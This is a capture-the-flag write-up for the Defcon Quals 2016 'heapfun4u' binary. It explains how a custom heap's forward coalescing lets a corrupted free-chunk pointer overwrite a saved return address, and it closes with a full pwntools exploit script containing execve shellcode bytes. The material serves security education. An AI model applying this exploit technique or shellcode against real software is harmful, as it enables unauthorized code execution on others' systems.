Defcon Quals’16 heapfun4u writeup

It was my first attempt at Defcon Qualifiers. Though I couldn’t solve many, I managed to solve one and helped in solving some others.

So this particular binary is a 64 bit binary with nothing other than NX enabled. But even so, my exploit used a return to shellcode to eventually pop a shell.

The binary basically allows the user to create buffers. These buffers are placed in a new mmapped location which is surprisingly an executable area. The binary is a stripped one. And from what I could infer from first glances was that the binary creates and manages its own heap using custom malloc and free functions. So there were in-use-chunks and free-chunks. Similar to the usual heap, the chunks have their size as metadata. And two pointers are placed into free chunks which basically creates a doubly linked list of free chunks.

So my first idea was to try the old unlink method of heap exploitation. But in this case, that wouldn’t work since the free-chunks weren’t sorted according to sizes.

But there is something else that could be done. Adjacent free chunks would get coalesced only through forward consolidation. So if you had allocated 2 chunks, say ‘a’ and ‘b’ in that order, and you free them in the order ‘a’ then ‘b’, no coalescing happens. But if the freeing were to take place in the order of ‘b’ then ‘a’, then ‘a’ and ‘b’ would be merged to form a bigger chunk.

So every time you free a chunk, it checks if the next chunk is also free. If yes, then the two chunks are merged. If not, then nothing special happens. So how can this be used to exploit?

I tried decompiling which I thought would give me a clearer picture on how to move forward. But I was gravely mistaken. The pseudo-code was too difficult for me to understand. So I went on a hunch and thank goodness that hunch was right.

So if you have created 3 chunk, say A,B and C, and free the chunks A and C, then both A and C will contain two pointers each ie next and prev pointers.

So A’s prev pointer will point to something I figured must be something like the wilderness chunk. I didn’t go check that out in too much detail.

And A’s next pointer points to C. Similarily, C’s prev pointer points to A and C’s next pointer points to the wilderness chunk.

When you free B, forward consolidation occurs. B and C get merged and (this is the interesting part) A’s next pointer changes from C to B.

I found out that the last 16 bytes of any free chunk are reserved for the prev and next pointers. So, after merging, the next pointer of A has to be changed to B. I assumed this was how the changing was done. (Note that A and C are already free chunks)

((ptr+size)->prev)->next=ptr;

Where ptr is the chunk that is going to be freed. So ptr+size gives me the address of block C. (ptr+size)->prev gives me the address of A, since A and C are in a doubly linked list of free blocks. And then A’s next pointer is changed to B. So let me break it down how each next and prev are found out. The address of the block is added with the size of that block and 16 bytes is subtracted to get the prev pointer. If you subtract 8 instead of 16, you get the next pointer. So prev=ptr+size-16 and next=ptr+size-8.

Another thing we need to consider is the fact that we can edit free chunks. So we can corrupt the next and prev pointers of any free chunk.

So my idea of exploit is something like this:

  1. Allocate 3 blocks (A,B,C).
  2. Free blocks A and C.
  3. Edit block C and overwrite prev of C.
  4. Free B.

If we overwrite the prev of C with address of `saved_eip +8 – x` , where x is any value on the stack, then the changing of next of A happens as follows:

  1. The program assumes the chunk A is at address saved_eip+8-x.(say addr)
  2. It then finds the size of the current chunk by taking the value at addr.
  3. It finds the location of next by addr+size-8.

So if I can find an address on the stack which contains the x as described, I can overwrite the saved eip. But sadly there isn’t anything like that on the stack.

So another hurdle to cross. If you take a look at the menu of the program, especially at switch commands. Choosing ‘F’ allows you to enter 256 bytes! So that means, you can control the values on the stack to an extent. Problem solved.

  • First create 3 blocks A,B and C.
  • Free the first block and fill up the stack with appropriate values.
  • Free the third block.
  • Edit the third block and overwrite the prev pointer with a stack address.
  • Free the second block.

So what will happen is, the program will think A at address (say addr) in the stack. And at addr, we will have written a value (say x), so that addr+x-8 points to saved eip.

Phew!. That is halfway done. Again a small problem. The saved return address has been overwritten with the address of the chunk B. Assuming that we’ve stored our shellcode in B, we still need to get through 8 bytes of the size field to get to our shellcode.

Here I created the chunk B big enough, so that the size of the coalesced chunk becomes 0x585b. When converted to instructions, that translates to:
pop rbx;
pop rax;

And at rsp+8 you have a valid address. So after the pop rax, rax will contain a valid address. So the next 6 null bytes do not cause any trouble. And we land in our shellcode and…..
Voila! shell!.

from pwn import *

shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54"
shellcode+="\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
context.bits=64


def free(x):
    log.info(p.recvuntil("|"))
    p.sendline("F")
    log.info(p.recvuntil(":"))
    p.sendline(str(x))


def evil_free(payload):
    log.info(p.recvuntil("|"))
    p.sendline("F")
    log.info(p.recvuntil(":"))
    p.sendline(payload)


def edit(x,payload):
    log.info(p.recvuntil("|"))
    p.sendline("W")
    log.info(p.recvuntil(":"))
    p.sendline(str(x))
    log.info(p.recvuntil(":"))
    p.send(payload)


def create(size):
    log.info(p.recvuntil("|"))
    p.sendline("A")
    log.info(p.recvuntil(":"))
    p.sendline(str(size))


def leak_memory():
    log.info(p.recvuntil("|"))
    p.sendline("N")
    log.info(p.recvuntil(":"))
    msg=p.recvline()
    addr=int(msg, 16)+260
    return addr


def exit_cleanly():
    log.info(p.recvuntil("|"))
    p.sendline("E")
    log.info(p.recvline())


if __name__== "__main__":
    p=process("heapfun4u")
    log.progress("Creating four objects")
    create(50)
    create(22550)
    create(50)
    create(50)
    log.progress("Leaking memory")
    addr = leak_memory()
    log.progress("Storing shellcode in second object")
    edit(2, shellcode)
    log.progress("Freeing the first object")
    payload=fit({0: "1", 2: "\x00", 240: pack(0x38)}, filler="A", length=248)
    evil_free(payload)
    log.progress("Freeing the 3rd obj")
    free(3)
    log.progress("Editing the 3rd obj")
    payload=fit({40: pack(addr), 48: "\x00"*2}, filler="A", length=50)
    edit(3,payload)
    log.progress("Freeing the 2nd obj")
    free(2)
    exit_cleanly()
    log.success("Got shell")
    p.interactive()

And that did pop a shell! Nice.